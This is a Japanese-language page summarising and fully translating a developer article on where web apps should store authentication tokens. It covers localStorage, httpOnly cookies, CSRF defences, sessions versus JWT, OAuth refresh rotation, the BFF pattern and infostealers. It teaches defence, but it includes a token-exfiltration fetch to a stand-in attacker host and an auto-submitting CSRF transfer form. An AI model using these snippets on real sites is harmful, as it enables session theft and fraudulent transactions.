HN 日本語サマリー

← 一覧へ戻る
プログラミング

モダンアプリケーションにおける認証の最良の方法

What's the best way to do authentication in modern applications (neciudan.dev)

18 pointsby freediver5 コメント

要約

モダンアプリケーションにおける認証トークンの安全な保存方法について、一般的なアプローチとそのリスクを解説しています。localStorageへの保存はXSS攻撃に対して脆弱であり、HTTPOnly Cookieの使用が推奨される理由を、具体的なコード例と共に説明しています。XSSやCSRFといったセキュリティ脅威を理解し、トークンをJavaScriptからアクセスできない場所に保存することの重要性を強調しています。

全文翻訳

モダンアプリケーションにおける認証の最良の方法とは

ログイン・トークンをどこに保存すべきか、フロントエンド開発者10人に聞けば、4つの答えと1つの議論が得られるでしょう。

そして、それぞれの方法が異なる懸念に対処するため、議論は決着を見ずに続きます。

そこで、トークンを保存する選択肢、最も安全な方法は何か、そしてユースケースを明確にしましょう。

XSSとCSRFについては、無料のフロントエンドセキュリティコースでさらに深く掘り下げていますが、今回は認証に焦点を当てたいと思います。

基本

私が書いたように、あなたも書いたかもしれません。「午後のうちにフルスタックアプリを構築する」という記事やチュートリアルには、必ずと言っていいほど書かれています。

ユーザーがログインフォームを送信し、サーバーがパスワードをチェックしてトークンを返します。あなたはそれをlocalStorageに保存し、それ以降のリクエストすべてに添付します。

async function login(email: string, password: string) {
  const res = await fetch('/api/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });

  const { token } = await res.json();
  localStorage.setItem('token', token);
}

async function fetchProfile() {
  const res = await fetch('/api/me', {
    headers: {
      Authorization: `Bearer ${localStorage.getItem('token')}`,
    },
  });
  return res.json();
}

そのトークンは、ほぼ常にJWTです。

JWT(JSON Web Token)は、ヘッダー、ペイロード、署名の3つの部分からなるドット区切りの文字列です。ペイロードには、ユーザーIDやロールなどのユーザーに関する情報が含まれます。

署名は、サーバーがこのペイロードを生成したこと、そして改ざんされていないことを証明するスタンプです。

JWTが普及したトリックは、サーバーがトークンを受け取ったときの処理です。サーバーはスタンプを再計算し、一致することを確認してから、何も検索せずにペイロードを信頼します。

ユーザーIDはトークン 内 にあり、暗号学的に検証されているため、ユーザーIDを取得したり、ユーザーを検証したりするためにデータベースの行を参照する必要はありません。

人々はこれを「ステートレス」と呼びます。

そして、チュートリアルに公平を期すなら、これは機能します。

localStorageは永続化されるためリフレッシュにも耐えられ、Cookieの面倒な問題を回避できます。

Authorization: Bearer ヘッダーはドメインをまたいでクリーンに通信できるため、あるドメインのアプリが別のドメインのAPIを簡単に呼び出すことができます。

JWTは機能しますが、私たちが書いたコードには1つの問題があります。それは、JWTをどこに保存したかです。

XSSがそのトークンに与える影響

localStorageの1つの特徴は、ページ上のどのJavaScriptでもすべてを読み取れることです。

あなたのページで実行されるJavaScriptは誰のものですか?

もちろん、あなたのものです。しかし、インストールしたすべてのnpmパッケージ、そしてそれらのパッケージが取り込んだすべてのパッケージも同様です。あなたの分析スニペット。あなたのサポートチャットウィジェット。ブラウザ拡張機能が注入することを決定したものは何でも。

そして、それが起こった日には、攻撃者のものです。

最後のものがXSSです。クロスサイトスクリプティングとは、攻撃者があなたのページでコードを実行させることに成功したことを意味します。通常は、ユーザーテキストをエスケープせずにHTMLとしてレンダリングするコメントフィールド、DOMに直接反映されるURLパラメータ、またはパッチリリースで悪意のあるコードが出荷された依存関係など、ありふれた方法で。

それが起こると、トークンは失われるまであと1行です。

fetch('https://attacker.example/collect', {
  method: 'POST',
  body: localStorage.getItem('token'),
});

攻撃者はあなたのベアラートークンを取得し、「ベアラー」は文字通りです(ドラマ『ベア』から来ているわけではありません):それを持つ者はあなた です。サーバーはスタンプをチェックし、有効なペイロードを確認して、挨拶します。

彼らはもはやあなたのブラウザを必要としません。開いているタブを必要としません。彼らはその文字列を自分のマシン上のスクリプトに貼り付け、トークンが(ほとんどの場合)期限切れになるまで、あなたのAPIはどこからでもあなたとして扱います。

多くのチュートリアルで行われているように、7日間有効なトークンに署名した場合、それは7日間のマスターキーです。

「ステートレス」のポイントはサーバーが何もチェックしないことだったので、それをキャンセルすることはできません。

攻撃者が次に何をするかはすべて、彼らのインフラストラクチャ上で、彼らのスケジュールで、あなたには完全に不可視のまま行われます。

「JSを実行できれば、あなたはすでに死んでいる」

よく言われるのは、「攻撃者があなたのページでJavaScriptを実行できるなら、すでに何でもできる」ということです。

画面上のすべてを読み取り、ユーザーのブラウザからリクエストを発行し、ブラウザが添付するあらゆる認証情報を利用できます。トークンを隠しても何も変わりません。

最初の半分は真実です。トークンを保護してもXSSは止まりません。HTTP-only Cookieが「XSSを防ぐ」とあなたに言う人は、混乱しているか、何かを売り込もうとしています。

しかし、各ケースで攻撃者が何に限定されるかを見てみましょう。なぜなら、それらは同じケースではないからです。

攻撃者がトークンを 読み取れる 場合、彼らはそれを持ち帰ります。攻撃はタブが閉じられた後も、自分のマシンから、自分のペースで、トークンの全有効期間にわたって機能し続けます。

攻撃者がトークンを 読み取れない 場合、彼らはライブセッションに乗ることしかできません。

彼らのスクリプトは、そのタブが開いている間、被害者のブラウザ内でリクエストを発行し、それらのリクエストはすべて、レート制限、ロギング、不正行為チェックが存在するあなたのサーバーに着弾します。

一方は盗まれた鍵、もう一方は家に忍び込む泥棒ですが、その泥棒は家の中に立ち、カメラの前に立ち、飼い主が出て行くまでしか行動できません。

どちらも望まないでしょうが、XSSバグは最終的に出荷されます。

現実的な目標は、XSSバグが出荷される頻度を減らし、発生した場合にそれらが何ができるかを縮小することです。

セキュリティ担当者はこれを「爆発半径の縮小」と呼びます。目標を設定しましょう。JavaScriptが読み取れない場所にトークンを配置することです。

試行2:メモリに保持する

最初の直感:ストレージを完全にスキップし、トークンをプレーンな変数に保持します。

let accessToken: string | null = null;

async function login(email: string, password: string) {
  const res = await fetch('/api/login', {
    method: 'POST',
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });

  const { token } = await res.json();
  accessToken = token; // メモリ上に存在し、ディスクには書き込まれない
}

そのようなプレーンな変数(オブジェクトではなくモジュールのスコープに存在し、攻撃者がリストできるもの)は、localStorageよりもつかみにくいです。LocalStorageは、攻撃者がキーごとに列挙できる公開掲示板です。

緩い変数は、少なくともそれが存在することを知っていて、名前を付けられる必要があるものです。

しかし、難しいだけでは安全ではありません。攻撃者のコードは、あなたのコードと 同じJavaScriptワールド で実行されます。

window.fetch を独自のバージョンに置き換え、あなたのアプリが Authorization ヘッダーを添付するのを待ち、通過するトークンをコピーできます。

そして、その絞り込みのために高い代償を払いました。ユーザーがページをリフレッシュすると、JavaScriptワールドはゼロから再構築されます。

あなたの変数はなくなり、ユーザーはログアウトします。

セカンドタブを開くと、独自のメモリ、独自の空の accessToken を持ち、最初のタブの存在を知りません。そこでもログアウトします。

リフレッシュごとにログアウトするアプリを出荷する人はいません。そこで追加できるのは、新しいアクセストークンをサイレントに発行するだけの、2番目の長寿命の認証情報を使用することです。

これはリフレッシュトークンと呼ばれます。しかし、リフレッシュトークンはどこに保存されるのでしょうか?

それをlocalStorageに保存すると、元の場所に戻ってしまいます。攻撃者は代わりにリフレッシュトークンを取得し、永遠に新しいアクセストークンを発行します。

私たちは円を描いて歩きました。

JavaScriptからアクセス可能なストレージは、長寿命の認証情報を安全に保持できません。

ブラウザ内に、JavaScriptが絶対にアクセスできない場所が必要です。

試行3:httpOnly Cookie

Cookieは、一般的に、一般の人がそれに出会うのは同意バナーの時だけなので、悪い評判があります。バナーのナンセンスの下で、Cookieはサーバーがブラウザに保存するように要求し、その後、そのサーバーに送信されるすべてのリクエストに自動的に添付する小さな値です。

サーバーはレスポンスヘッダーでそれを設定し、私たちはいくつかの追加フラグでそれを保護できます。

Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

各フラグはセキュリティを強化します。

HttpOnly はブラウザに指示します:このCookieをJavaScriptに絶対に渡さないでください。document.cookie には表示されません。スクリプトは、XSS中の攻撃者のスクリプトを含め、それを読み取ることができません。ブラウザはそれを送信リクエストに添付しますが、それ以外にできることは何もありません。

Secure はHTTPS経由でのみ送信するように指示するため、コーヒーショップのネットワークをプレーンテキストで横断することはありません。

SameSite=Lax は、リクエストが異なるサイトから来た場合にこのCookieを添付しないことを意味します(1つの例外は後で触れます)。

これを使用すると、フロントエンドは実際には よりシンプル になります。これは嬉しい驚きです。

管理するトークンがないため、ログインは単なるリクエストであり、後続のリクエストは認証情報を含めるようにオプトインするだけで済みます。

async function login(email: string, password: string) {
  await fetch('/api/login', {
    method: 'POST',
    credentials: 'include', // ブラウザがここからCookieを処理します
    headers: { 'Content-Type': 'application/json' },
    body: JSON.stringify({ email, password }),
  });
  // 保存するレスポンスボディはありません。コードにはトークンは一切ありません。
}

async function fetchProfile() {
  const res = await fetch('/api/me', { credentials: 'include' });
  return res.json();
}

しかし、httpOnly は 漏洩 を防ぎますが、 悪用 は防ぎません。

XSS攻撃中、攻撃者はリクエストをその場で実行することで確かに損害を与えることができます。彼らは認証情報を持ち去って、来週の火曜日にラップトップから使用することはできません。

CSRF

あなたは銀行にログインしています。セッションCookieがブラウザにあります。

別のタブで、怪しいクーポンサイトを開き、そのページには静かにこれが含まれています。

<!-- evil-coupons.example から提供 -->
<form action="https://bank.example/transfer" method="POST">
  <input type="hidden" name="to" value="attacker" />
  <input type="hidden" name="amount" value="1000" />
</form>
<script>document.forms[0].submit();</script>

ページ読み込み時にフォームが自動送信されます。リクエストはあなたの銀行に送信され、ブラウザは bank.example に送信されるリクエストを認識し、そのサイトのCookieを検索し、あなたのセッションCookieを見つけて添付します。

それがCookieの仕組みです。それらは自動的に付いてきます。

あなたの銀行は、あなたが「転送」をクリックしたかのように見える、あなたの実際のセッションであるかのようなリクエストを受け取ります。お金はなくなります。

それがCSRF、クロスサイトリクエストフォージェリです。外国のページが、あなたが意図しなかった認証済みリクエストをブラウザに送信するようにだますことです。

古いlocalStorageバージョンがこれに耐性があったことに注意してください。

外国のサイトはあなたのlocalStorageを読み取れないため、その Authorization ヘッダーを構築できませんでした。Cookieに切り替えることで、漏洩の問題を偽造の問題と交換しました。

良いニュース:偽造は、ほとんど解決された問題であり、文書化された防御スタックがあります。

主な防御策はCSRFトークンです。 サーバーは予測不可能な値をページに配置し、状態を変更するすべてのリクエストはその値を返す必要があります。

クーポンサイトの偽造フォームはあなたのページを読み取れないため(同一オリジンポリシーがそれを阻止します)、値を知ることができないため、リクエストはチェックに失敗します。

API駆動型アプリの一般的なパターンは「ダブルサブミット」です。サーバーはトークンを読み取り可能なCookieとして設定し、フロントエンドは変更リクエストごとにそれをヘッダーにコピーします。

サーバーは、Cookieとヘッダーが一致する場合にのみリクエストを受け入れます。

// トークンはサーバーによって設定された読み取り可能な(HTTP-onlyではない)Cookieに含まれています。
function getCsrfToken() {
  return document.cookie
    .split('; ')
    .find((c) => c.startsWith('csrf_token='))
    ?.split('=')[1];
}

async function post(path: string, body: unknown) {
  return fetch(path, {
    method: 'POST',
    credentials: 'include',
    headers: {
      'Content-Type': 'application/json',
      'X-CSRF-Token': getCsrfToken() ?? '', // ヘッダーにエコーバックします
    },
    body: JSON.stringify(body),
  });
}

攻撃者の偽造フォームはCookieを送信できますが、そのヘッダーを設定することはできません。なぜなら、ブラウザは あなたの JavaScript、つまり あなたの オリジンで実行されるものだけが、リクエストにカスタムヘッダーを追加することを許可するからです。

第二の防御線:SameSite。 SameSite=Lax(またはStrict)は、ブラウザにクロスサイトリクエストでCookieを添付しないように指示し、そのクーポンサイトの隠しフォームをブロックします。

ただし、これを唯一の防御線にしないでください。なぜなら、それには2つの問題があるからです。

最初の問題は、LaxのトップレベルGETナビゲーションに対する例外です。ユーザーがあなたのサイトへのリンクをクリックすると、LaxはCookieを送信します。これは、メールで送信されたダッシュボードリンクがユーザーをログイン状態にする理由です。

次に、確認する必要があります:GETリクエストはデータを変更してはなりません。 GETが送金できる場合、Laxはそれを喜んで偽造します。攻撃者がフレームワークの「メソッドオーバーライド」を使用してGETをPOSTとして偽装する場合も同様です。

2番目の問題は「サイト」という言葉です。SameSite は 同じサイト を保護しますが、 同じオリジン は保護しません。そして、それらは異なります。app.example.com と payments.example.com は同じ サイト なので、SameSiteはあなたのサブドメイン間では何も行いません。

第三の防御線:リクエストの送信元を確認します。 ブラウザは、送信元のページが偽造できないヘッダー、Origin および新しい Sec-Fetch-Site をリクエストにスタンプします。

サーバーはそれらを読み取り、変更リクエストルートで同じオリジンでないものをすべてドロップします。

// Expressミドルウェア、変更リクエストルートの前に配置
app.use((req, res, next) => {
  if (['POST', 'PUT', 'PATCH', 'DELETE'].includes(req.method)) {
    const site = req.get('Sec-Fetch-Site');
    if (site && site !== 'same-origin') {
      return res.status(403).json({ error: 'cross-site request rejected' });
    }
  }
  next();
});

したがって、CSRFトークンが最初、次にSameSite、そして最後にオリジンチェックです。

使用できる別のトリックもあります:__Host- プレフィックス。

セッションCookieを __Host-session と名付けると、ブラウザは Secure で、Domain 属性がなく(正確なホストにロックされ、サブドメインなし)、Path=/ が設定されている場合を除き、それを拒否します。

これは無料のセキュリティ改善であり、Cookie名を1つ変更するだけで、OWASPは __Host- プレフィックス付きCookieを最も安全な構成と呼んでいます。

Set-Cookie: __Host-session=abc123; HttpOnly; Secure; SameSite=Lax; Path=/

セッション vs JWT

これまでのところ、localStorageとCookieを比較し、3つのCSRFガードレールを備えたCookieが最も安全であると結論付けました。

では、JWTをCookieに保存するだけでよいのでしょうか?

最後のコード例を振り返ってください。私はそれを token=eyJhbGciOi... ではなく、session=abc123 と呼びました。

JWTはそのステートレス性によってその地位を確立しました。

しかし、ステートレス性には、問題が発生したときにのみ現れる暗い側面があります。JWTは期限切れまで有効であり、元に戻す方法はありません。

ユーザーが「ログアウト」をクリックしましたか?彼の手にあるトークンはまだ有効です。

ユーザーが不審なメールの後にパスワードを変更しましたか?古いトークンは引き続き機能します。

アカウントを不正利用で禁止しましたか?そのアカウントのトークンは、あなたが選択した有効期限が切れるまで機能し続けます。

これに対処するには、すべてのリクエストでチェックするサーバー側の失効トークンリストが必要です。

それをゆっくり読み返してください:サーバー上のリスト、すべてのリクエストでチェックされます。

あなたはサーバーサイドセッションを再構築しましたが、トークンが大きくなっただけです。

したがって、退屈な2005年のデザインが勝ちます。Cookieは、それ自体では意味をなさない長いランダムな文字列を保持し、サーバーはその文字列とユーザーを一致させる行を保持します。

app.post('/api/login', async (req, res) => {
  const user = await verifyPassword(req.body.email, req.body.password);

  const sessionId = crypto.randomBytes(32).toString('hex'); // 不透明、無意味
  await db.sessions.create({ id: sessionId, userId: user.id });

  res.cookie('__Host-session', sessionId, {
    httpOnly: true,
    secure: true,
    sameSite: 'lax',
    path: '/',
  });
  res.json({ ok: true });
});

ここで重要なヒントがあります。ログイン時に新しいセッションIDを発行し、クライアントが提供したIDを再利用しないでください。ブラウザに既にあったセッションIDを保持すると、攻撃者はログイン前に既知のIDを挿入し、その後セッションを引き継ぐことができます(これはセッション固定と呼ばれます)。

セッションが権限を得るたびに、ログイン時だけでなく、同じ操作が適用されます。2FAチェックを通過する、管理者に昇格する、再認証が必要な領域に入る、パスワードをリセットするなど:これらの各操作で新しいIDを生成します。

しかし、ログインは3分の1にすぎません。ログイン後、毎回そのCookieを「これはジェーンです」に戻す必要があります。

// ルートの前に実行されます。Cookieを読み取り、ユーザーを見つけるか、nullのままにします。
app.use(async (req, res, next) => {
  const sessionId = req.cookies['__Host-session'];
  const session = sessionId ? await db.sessions.get(sessionId) : null;

  // リクエストにユーザーを添付するため、以下のすべてのルートで参照できます
  req.user = session ? await db.users.get(session.userId) : null;
  next();
});

// 保護されたルートは現在req.userを読み取り、それを信頼します。なぜなら、
// ミドルウェアがすでに作業を完了しているからです。
app.get('/api/orders', async (req, res) => {
  if (!req.user) return res.status(401).json({ error: 'not logged in' });
  res.json(await db.orders.findByUser(req.user.id));
});

この設計は、単一のアプリではステートレスJWTに勝ります。ユーザーの現在のロール、禁止されているかどうか、10秒前に管理者から降格されたばかりかどうか、すべてがリクエストごとに新しくなります。なぜなら、1時間前にトークンに焼き付けられたクレームを信頼するのではなく、ライブで読み取っているからです。

ログアウトは、私が「単に行を削除するだけ」と言い続けているものですが、まさにそれです。

app.post('/api/logout', async (req, res) => {
  const sessionId = req.cookies['__Host-session'];
  if (sessionId) await db.sessions.delete(sessionId); // セッションはサーバーサイドで失効します

  res.clearCookie('__Host-session');
  res.json({ ok: true });
});

セッションは、その行が削除された瞬間に、どこでも、すべてのデバイスで、トークンが期限切れになるのを待つことなく死にます。

約束されているデータベース検索JWTは、インデックス付きテーブルのサブミリ秒のヒット、またはマイクロ秒を追いかける場合はRedisの読み取りを節約します。

1つのバックエンドが1つのフロントエンドを提供する場合、ステートレス性はあなたが持っていなかったスケーリングの問題を解決し、あなたが望まなかった失効の問題を作成しました。

JWTが機能する場所

JWTが悪いと思わせたいわけではありません。

JWTは、トークンの検証がデータベースの共有よりも優れている場所で輝きます。APIゲートウェイが内部請求サービスを呼び出し、それが通知サービスを呼び出す(数千のマイクロサービスを持つ内部Kubernetesネットワーク内)。

短寿命のJWTが一緒に渡され、各サービスは、3つすべてが単一のセッションストアを叩くのではなく、ローカルでユーザーのIDをチェックします。

シングルサインオンも同じアイデアで機能します。「Googleでサインイン」をクリックすると、Googleはあなたのアプリに「はい、これは本当にこの人です」と主張するJWTを渡します。あなたのアプリはそれを一度読み取り、独自の セッションを開始し、JWTを破棄します。

OAuth

「Googleでサインイン」について話すとき。

アプリがOAuthプロバイダーと通信する場合、トークンの形式を選択することはできません。アクセストークンとリフレッシュトークンを受け取ります。

アクセストークンは、メモリ内に存在します。これは、試行2の変数と同じです。

短寿命で、5〜15分なので、それを掴んだ攻撃者にとって最悪のシナリオは、それが役に立たなくなるまでの15分間のウィンドウです。

リフレッシュトークンはhttpOnly Cookie内に存在し、path でスコープされているため、ブラウザは新しいアクセストークンを生成する唯一のエンドポイントにのみ送信します。

res.cookie('refresh_token', refreshToken, {
  httpOnly: true,
  secure: true,
  sameSite: 'strict',
  path: '/api/refresh', // ここにのみ送信され、他には送信されません
});

このCookieは、セッションCookieに使用した __Host- プレフィックスを使用できないことに注意してください。そのプレフィックスは Path=/ を必要としますが、ここではパスを意図的に狭めています。

これで、リフレッシュサイクルが、メモリ内ストレージに関する以前の問題の一部を修正します。ページリフレッシュはメモリ内のアクセストークンを消去するため、ロード時にアプリは /api/refresh をサイレントに呼び出します。

ブラウザがCookieを添付し、サーバーが新しいアクセストークンを返します。ユーザーはログイン画面を見ません。

このメカニズムを回復力のあるものにするもう1つのメカニズムは、ローテーションです。

リフレッシュトークンが使用されるたびに、サーバーはそれを無効にし、新しいものを返します。リフレッシュトークンは、チェーン内の単一使用リンクになり、サーバーは各トークンがどのチェーンに属するかを覚えています。

盗難がどのように展開されるかを見てみましょう。

攻撃者がリフレッシュトークン#4を盗んで使用します。彼らは#5を取得します。彼らは侵入しました。

しかし、あなたの実際のアプリはまだ#4を持っており、次のスケジュールされたリフレッシュ(15分ウィンドウの後)で、#4を提示します。これは、サーバーがすでに消費されたと認識したトークンです。

通常の操作では、単一使用トークンが2回表示されることはありえません。これは盗難の兆候です。

サーバーは、攻撃者のキラキラした#5を含むチェーン全体を燃やし、新しいログインを強制することで応答します。

盗まれた認証情報は自己消滅します。

(ちょっとした注:同時にリフレッシュする2つのタブが同じミリ秒でアラームをトリガーし、正当なユーザーをログアウトさせる可能性があります。実際の実装では、回転したばかりのトークンがまだ受け入れられる短い猶予期間が追加されるため、正直な同時実行性は攻撃とは見なされません。ローテーションをオンにして、謎のログアウトレポートを受け取り始めたら、これがほとんど常に原因です。)

Auth0、Okta、およびすべての主要なプロバイダーは、デフォルトでローテーションと再利用検出を実行します。RFC 9700(2025年初頭の最新のOAuthセキュリティベストプラクティス)は、ブラウザクライアントに対してローテーションまたは同等のものを要求します。

この分割パターンは本当に優れており、トークンがブラウザに触れる限り、最善を尽くすことができます。

実際のReactへの配線

これまでのすべてはログイン関数とCookieフラグでした。React開発者であれば、これがコンポーネントにどのように影響するか疑問に思っているかもしれません。

コンポーネントが至る所に Authorization ヘッダーを散布することを決して望みません。1つのfetchラッパーでアクセストークンを添付し、トークンが期限切れになったら、それを透過的にリフレッシュして再試行するようにしたいのです。

コンポーネントは単に api() を呼び出し、他のすべてを無視します。

let accessToken: string | null = null;

async function api(path: string, options: RequestInit = {}) {
  const res = await fetch(path, {
    ...options,
    headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
  });

  if (res.status === 401) {
    // トークンが期限切れ、リフレッシュして再試行
    const refresh = await fetch('/api/refresh', { credentials: 'include' });
    accessToken = (await refresh.json()).token;

    return fetch(path, {
      ...options,
      headers: { ...options.headers, Authorization: `Bearer ${accessToken}` },
    });
  }

  return res;
}

この問題は、高負荷時に現れます。

ダッシュボードがマウントされ、5つのリクエストを同時に発行します。アクセストークンが期限切れになったため、すべてがほぼ同時に401を返します。すべてが /api/refresh を呼び出します。

前のセクションでリフレッシュトークンローテーションをオンにした場合、最初の更新でトークンがローテーションされ、他の4つはサーバーがちょうど廃止したトークンを提示しています。

再利用が検出されました。サーバーはチェーンを燃やし、ページを読み込んだ罪でユーザーをログアウトさせます。

したがって、リフレッシュを1つにまとめる必要があります。

トリックは、単にリクエストを発行するのではなく、インフライトのリフレッシュ プロミス を保存することです。リフレッシュ中に到着したすべての人々が同じプロミスを待ちます。

let accessToken: string | null = null;
let refreshing: Promise<string> | null = null;

function refreshAccessToken() {
  // リフレッシュがすでに進行中の場合、すべての人々が同じものに待ちます。
  if (!refreshing) {
    refreshing = fetch('/api/refresh', { credentials: 'include' })
      .then((res) => {
        // リフレッシュ自体が失敗する可能性があります:リフレッシュトークンが期限切れになったか、
        // ローテーションが再利用を検出しチェーンを燃やしたかです。いずれにせよ、セッションは終了です。
        if (!res.ok) throw new Error('refresh failed');
        return res.json();
      })
      .then((data) => {
        accessToken = data.token;
        return data.token;
      })
      .finally(() => {
        refreshing = null; // 次の有効期限で再度リフレッシュできるようにクリアします
      });
  }
  return refreshing;
}

async function api(path: string, options: RequestInit = {}) {
  const send = (token: string | null) =>
    fetch(path, {
      ...options,
      headers: { ...options.headers, Authorization: `Bearer ${token}` },
    });

  let res = await send(accessToken);

  if (res.status === 401) {
    try {
      const fresh = await refreshAccessToken(); // 5人の呼び出し元、1つのリフレッシュ
      res = await send(fresh);
    } catch {
      // リフレッシュに失敗しました。ログインに送り返し、呼び出し元が401を処理しないようにします。
      // ブラウザが別のページに移動する間、解決されないプロミスを返します。
      accessToken = null;
      window.location.href = '/login';
      return new Promise<Response>(() => {});
    }
  }

  return res;
}

5つの401は、誤ったアラームなしに、1つのリフレッシュと1つのローテーションを共有するようになりました。

より安全にすることはできますか?

IETFのOAuthワーキンググループは、「Browser-Based ApplicationsのためのOAuth 2.0」というドキュメントを維持しており、可能なアーキテクチャを最も安全なものから順にランク付けしています。

一番上にあるのはこのパターンです:ブラウザはOAuthトークンを 何も 持たないべきではありません。メモリ内でも、Cookie内でもありません。

このパターンはBackend for Frontend(BFF)です。SPAと他のすべての中間に薄いサーバーを配置し、そのサーバーがフロントエンドに代わってすべてのトークン処理を行います。

あなたのSPAは正確に1つのものしか保持しません:BFFを指す、普通のhttpOnlyセッションCookieです。それは生涯トークンを見ることはありません。

仕組みを見てみましょう。

あなたのダッシュボードはユーザーの注文を必要とするため、BFFの /api/orders を呼び出し、ブラウザはすべての場合と同様にセッションCookieを自動的に添付します。

そのCookieはトークンではありません。それはコートチェックのチケット、盗まれた誰にとっても意味のないランダムな文字列です。

BFFはそのリクエストをキャッチし、それが存在する唯一のジョブを実行します。CookieからセッションIDを読み取り、独自のストアで検索し、実際のアクセストークンを見つけます。それはサーバーから離れることはありませんでした。

そのトークンをベアラヘッダーとして添付し、実際のリクエストを転送し、注文が返ってくるのを待ち、ブラウザにパイプします。

あなたのフロントエンドは注文を取得しました。

ブラウザ側からは、フレンドリーなサーバーにデータの要求を送り、データを受け取りました。そのために必要なすべての認証情報は、JavaScriptが到達できない壁の向こう側に残りました。

プロキシ全体は約15行です。

// BFF。ブラウザはこれとだけ通信し、実際のAPIとは通信しません。
app.all('/api/*splat', async (req, res) => {
  // 1. ブラウザはトークンではなくセッションCookieを送信しました。
  const sessionId = req.cookies['__Host-session'];
  const session = sessionId ? await sessions.get(sessionId) : null;
  if (!session) return res.status(401).json({ error: 'not logged in' });

  // 2. Cookieを実際のアクセストークンと交換します。これはこのサーバーから離れませんでした。
  let accessToken = session.accessToken;

  // 3. 有効期限が切れている場合、サーバー間接続を転送前にリフレッシュします。リフレッシュ
  // 自体が失敗した場合(トークンが期限切れまたはプロバイダーで失効した場合)、セッションは終了です。
  // それを破棄し、ブラウザに再ログインさせます。
  if (Date.now() >= session.expiresAt) {
    try {
      const refreshed = await refreshWithProvider(session.refreshToken);
      accessToken = refreshed.accessToken;
      await sessions.update(sessionId, refreshed); // ペアをローテーションして保存します
    } catch {
      await sessions.delete(sessionId);
      return res.status(401).json({ error: 'session expired' });
    }
  }

  // 4. ブラウザが決して見ないベアラートークンで実際のAPIリクエストを転送します。
  // originalUrlはクエリ文字列を保持します。req.pathは?page=2をドロップします。
  const upstream = await fetch(`https://api.example.com${req.originalUrl.replace('/api', '')}`, {
    method: req.method,
    headers: {
      Authorization: `Bearer ${accessToken}`,
      'Content-Type': req.get('Content-Type') ?? 'application/json',
    },
    body: ['GET', 'HEAD'].includes(req.method) ? undefined : JSON.stringify(req.body),
  });

  // ステータスを通過させます。204またはその他の空のボディには解析するものがないため、
  // json()呼び出しをガードしないと例外が発生します。
  res.status(upstream.status);
  const text = await upstream.text();
  return text ? res.type('json').send(text) : res.end();
});

トークンは session.accessToken に存在し、これはセッションストア内のサーバーサイドの値です。ブラウザへのレスポンスには決して含まれず、ブラウザが読み取れるCookieにも含まれず、クライアントスクリプトが到達できる変数にも含まれません。

OAuthプロバイダーがコードとともにリダイレクトバックした後、BFF(機密クライアントなので、実際のシークレットを保持します)はそのコードをトークンと交換し、新しいセッションに対してそれらを保存し、ブラウザにはCookieしか渡しません。

// OAuthコールバック。一度だけ、ログイン時に実行されます。
app.get('/auth/callback', async (req, res) => {
  // コードをトークンと交換します。この呼び出しはクライアントシークレットを運びます。
  // これがサーバー上で実行され、ブラウザ上では実行されない理由です。
  const tokens = await exchangeCodeForTokens(req.query.code, CLIENT_SECRET);

  // トークンをサーバーサイドに保存します。新しいランダムなセッションIDをキーとします。
  const sessionId = crypto.randomBytes(32).toString('hex');
  await sessions.create(sessionId, {
    userId: tokens.userId,
    accessToken: tokens.access_token,
    refreshToken: tokens.refresh_token,
    expiresAt: Date.now() + tokens.expires_in * 1000,
  });

  // ブラウザはCookieのみを残して離れます。
  res.cookie('__Host-session', sessionId, {
    httpOnly: true, secure: true, sameSite: 'lax', path: '/',
  });
  res.redirect('/');
});

アクセストークンが期限切れになると、ステップ3のリフレッシュはサーバー間で行われ、ローテーションと再利用検出が行われ、フロントエンドはそれが起こったことを決して知りません。

OAuthログイン自体もさらに強力になります。OAuthはアプリを2つのカテゴリに分割します:安全に秘密鍵を保持できるものとそうでないものです。

ブラウザはできません。ブラウザに送信するものはすべてユーザーが読み取れるため、SPAは「パブリッククライアント」であり、弱いフローを使用する必要があります。

サーバーはシークレットを保持できるため、BFFは「機密クライアント」であり、より強力なフローを取得します。OAuth処理をBFFに移動することで、アプリは弱いカテゴリから強いカテゴリにアップグレードされます。

これは、ビジネスアプリケーション、機密性の高いアプリケーション、および個人データに触れるあらゆるアプリケーションで強く推奨されるアーキテクチャです。

BFFを使用する場合、以前のCSRFの問題がまだ存在することに注意してください。必ず3つのガードレールで保護してください。

このセキュリティのコストは、レイテンシ と追加のインフラストラクチャコストです。

あなたは今サーバーを実行しています。すべてのAPI呼び出しは2回のホップを要します。BFFはトラフィックとともにスケールします。

新たな脅威

上記のすべては、ブラウザがだまされること、あなたのページで攻撃者のスクリプトが実行されること、そして認証情報を盗むかセッションに乗ることについてです。

そして、すべての修正、メモリ、httpOnly、BFFはそれらを対象としています。

それらすべてを素通りする2番目の脅威があり、2026年にはアカウントを空にする主な原因となっています:infostealerマルウェア。

これはユーザー自身のコンピュータで実行されるプログラムであり、ブラウザのルールを完全に無視します。

XSSを必要としません。HttpOnly を気にしません。ディスク上のChromeのCookieデータベースを読み取り、それを復号化し、セッションCookieをまとめてコピーします。HttpOnly は JavaScript がCookieを読み取るのをブロックするだけです。

ネイティブプロセスがファイルを読み取るのを防ぐことは何もありません。

攻撃者はあなたのCookieを自分のブラウザにインポートし、あなたのライブセッションにアクセスできるようになります。これは「パス・ザ・クッキー」攻撃であり、ライブセッションCookieでいっぱいのinfostealerログは活況を呈している市場です。2026年のレポートでは、2025年に5170万個のinfostealerログパッケージがカウントされ、前年比72%増加しました。

ここに不快な部分があります:完全に実装されたBFF、httpOnly、SameSite、ローテーション、すべてのスタックは、これを止めません。

盗まれたCookieは有効なベアラートークンであり、サーバーは攻撃者のブラウザとユーザーのブラウザを区別する方法がありません。

しかし、解決策があります:セッションをデバイスにバインドすること。

Googleは2026年4月にWindowsのChrome 146でDevice Bound Session Credentials(DBSC)を一般提供しました。

ログイン時に、ブラウザはマシン上の専用セキュリティチップ(TPM、Windows Helloやディスク暗号化をバックアップするハードウェアと同じ)に秘密鍵を生成し、その鍵はチップから物理的にコピーできません。

セッションCookieは短寿命であり、それをリフレッシュするには、ブラウザは数分ごとに、ハードウェアに封印された鍵を使用してサーバーからのチャレンジに署名する必要があります。

これで、盗まれたCookieはほぼ即座に腐敗します。数分以内に期限切れになり、攻撃者はそれをリフレッシュできません。なぜなら、リフレッシュには持っていないハードウェアに封印された鍵からの署名が必要だからです。コピーしたCookieは無用の文字列になります。

